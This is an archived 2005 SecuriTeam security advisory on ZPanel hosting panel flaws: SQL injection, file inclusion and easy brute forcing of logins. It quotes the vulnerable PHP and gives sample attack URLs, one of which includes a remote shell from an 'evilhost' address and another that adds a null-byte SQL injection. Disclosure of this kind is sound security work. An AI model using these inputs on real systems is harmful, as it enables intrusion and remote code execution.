[NEWS] ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing

From: SecuriTeam (support_at_securiteam.com)
Date: 03/22/05

  • Next message: SecuriTeam: "[NEWS] Multiple Antivirus Malformed Filename Bypassing"
    To: list@securiteam.com
    Date: 22 Mar 2005 18:16:11 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      ZPanel SQL Injection, Arbitrary File Inclusion and Brute Forcing
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.thezpanel.com/> ZPanel is a hosting control interface
    developed for both Windows and Linux hosts."

    Successful exploitation of an input validation vulnerability in ZPanel
    scripts allows attackers to execute SQL commands, include remote and local
    files. In addition due to poor coding a remote attacker can easily brute
    force the username / password combination used to protect the product.

    DETAILS

    Vulnerable Systems:
     * ZPanel version 2.0
     * ZPanel version 2.5b10

    SQL Injection:
    Non sanitized user input variables are fed directly into the SQL query.
    Making it possible to inject arbitrary SQL statements through the 'uname'
    variable which in turn can be used to bypass the authentication process.

    Password Brute Forcing:
    An invalid user name or password provided to a remote attacker returns an
    error that can be used to determine which of the provided parameter is
    wrong. As a result we can use a very simple brute force technique.

    Vulnerable script: index.php:
    if (isset($_POST['uname'])) {
    mysql_select_db($database_Customer_Database, $Customer_Database);
    $query_TempUser = sprintf("SELECT * FROM customerbase WHERE servicename =
    '".$_POST['uname']."'");

    Arbitrary File Inclusion:
    It is possible to include an arbitrary file, local in version 2.5b and
    remote in version 2.0:

    http://example/zpanel/zpanel.php?page=http://evilhost/shell
    Where http://evilhost/shell.php - evil PHP code script.

    http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00' OR
    '1'='1

    Vulnerable code script: zpanel.php ( v2.5b):
    if (isset($_GET['page']) && $_GET['page'] != 'main') {
             $query_Modules = sprintf("SELECT * FROM modules WHERE name =
    '".$_GET['page']."'");
             $Modules = mysql_query($query_Modules, $Customer_Database) or
    die(mysql_error());
             $row_Modules = mysql_fetch_assoc($Modules);
    [...]
                             if ($row_Modules['active'] == '1') {
                                     $body = "modules/" . $_GET['page'] .
    "/index.php";

    Or

    Vulnerable code script: zpanel.php ( v2.0):
    if (!isset($_GET['page'])){
             $body = "main.php";
    }else{
             $body = $_GET['page'] . ".php";
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:misha@dom.no> Mik-.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Multiple Antivirus Malformed Filename Bypassing"

    Relevant Pages

    • [UNIX] Rrdbrowse Arbitrary File Disclosure Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Rrdbrowse Arbitrary File Disclosure Vulnerability ... validation in rrdbrowser a remote attacker can cause the program to ...
      (Securiteam)
    • [NT] Virtual Programming VP-ASP Shopping Cart Multiple SQL Injection Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL Injection Vulnerability in 'shopsearch.asp' Script ... Exploitation of the vulnerability allows a remote attacker to insert a new ... S-Quadra alerted VP-ASP development team to this issue on 28th November ...
      (Securiteam)
    • [UNIX] MySQL MaxDB Web Agent Multiple DoS Vulnerabilities (sapdbwa_GetUserData)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... MaxDB by MySQL is "a re-branded ... The second vulnerability is due to insufficient handling of malformed HTTP ... A remote attacker can submit a HTTP request with invalid headers ...
      (Securiteam)
    • [UNIX] Samba 3.x.x Wildcard Characters DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A remote attacker could cause and smbd process to consume abnormal amounts ... In some circumstances the server can become entirely ... The Samba Team always encourages users to run the latest stable release as ...
      (Securiteam)